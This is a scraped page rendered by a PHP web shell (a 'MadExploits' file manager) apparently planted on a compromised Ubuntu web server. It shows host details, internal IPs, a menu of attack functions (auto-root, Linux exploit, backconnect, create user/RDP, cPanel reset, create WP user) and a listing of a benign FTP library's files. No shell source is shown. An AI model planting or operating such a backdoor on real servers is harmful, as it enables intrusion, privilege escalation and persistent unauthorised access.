Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
node_modules /
basic-ftp /
dist /
[ HOME SHELL ]
Name
Size
Permission
Action
Client.d.ts
14.43
KB
-rw-rw-r--
Client.js
30.77
KB
-rw-rw-r--
FileInfo.d.ts
2.43
KB
-rw-rw-r--
FileInfo.js
3.1
KB
-rw-rw-r--
FtpContext.d.ts
6.27
KB
-rw-rw-r--
FtpContext.js
14.5
KB
-rw-rw-r--
ProgressTracker.d.ts
1.59
KB
-rw-rw-r--
ProgressTracker.js
2.03
KB
-rw-rw-r--
StringEncoding.d.ts
141
B
-rw-rw-r--
StringEncoding.js
77
B
-rw-rw-r--
StringWriter.d.ts
377
B
-rw-rw-r--
StringWriter.js
675
B
-rw-rw-r--
index.d.ts
242
B
-rw-rw-r--
index.js
1.37
KB
-rw-rw-r--
netUtils.d.ts
929
B
-rw-rw-r--
netUtils.js
2.5
KB
-rw-rw-r--
parseControlResponse.d.ts
1010
B
-rw-rw-r--
parseControlResponse.js
2.45
KB
-rw-rw-r--
parseList.d.ts
143
B
-rw-rw-r--
parseList.js
2.69
KB
-rw-rw-r--
parseListDOS.d.ts
436
B
-rw-rw-r--
parseListDOS.js
1.8
KB
-rw-rw-r--
parseListMLSD.d.ts
845
B
-rw-rw-r--
parseListMLSD.js
7.76
KB
-rw-rw-r--
parseListUnix.d.ts
453
B
-rw-rw-r--
parseListUnix.js
5.65
KB
-rw-rw-r--
transfer.d.ts
1.3
KB
-rw-rw-r--
transfer.js
13.04
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : FileInfo.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.FileInfo = exports.FileType = void 0; var FileType; (function (FileType) { FileType[FileType["Unknown"] = 0] = "Unknown"; FileType[FileType["File"] = 1] = "File"; FileType[FileType["Directory"] = 2] = "Directory"; FileType[FileType["SymbolicLink"] = 3] = "SymbolicLink"; })(FileType || (exports.FileType = FileType = {})); /** * Describes a file, directory or symbolic link. */ class FileInfo { constructor(name) { this.name = name; this.type = FileType.Unknown; this.size = 0; /** * Unparsed, raw modification date as a string. * * If `modifiedAt` is undefined, the FTP server you're connected to doesn't support the more modern * MLSD command for machine-readable directory listings. The older command LIST is then used returning * results that vary a lot between servers as the format hasn't been standardized. Here, directory listings * and especially modification dates were meant to be human-readable first. * * Be careful when still trying to parse this by yourself. Parsing dates from listings using LIST is * unreliable. This library decides to offer parsed dates only when they're absolutely reliable and safe to * use e.g. for comparisons. */ this.rawModifiedAt = ""; /** * Parsed modification date. * * Available if the FTP server supports the MLSD command. Only MLSD guarantees dates than can be reliably * parsed with the correct timezone and a resolution down to seconds. See `rawModifiedAt` property for the unparsed * date that is always available. */ this.modifiedAt = undefined; /** * Unix permissions if present. If the underlying FTP server is not running on Unix this will be undefined. * If set, you might be able to edit permissions with the FTP command `SITE CHMOD`. */ this.permissions = undefined; /** * Hard link count if available. */ this.hardLinkCount = undefined; /** * Link name for symbolic links if available. */ this.link = undefined; /** * Unix group if available. */ this.group = undefined; /** * Unix user if available. */ this.user = undefined; /** * Unique ID if available. */ this.uniqueID = undefined; this.name = name; } get isDirectory() { return this.type === FileType.Directory; } get isSymbolicLink() { return this.type === FileType.SymbolicLink; } get isFile() { return this.type === FileType.File; } /** * Deprecated, legacy API. Use `rawModifiedAt` instead. * @deprecated */ get date() { return this.rawModifiedAt; } set date(rawModifiedAt) { this.rawModifiedAt = rawModifiedAt; } } exports.FileInfo = FileInfo; FileInfo.UnixPermission = { Read: 4, Write: 2, Execute: 1 };
Close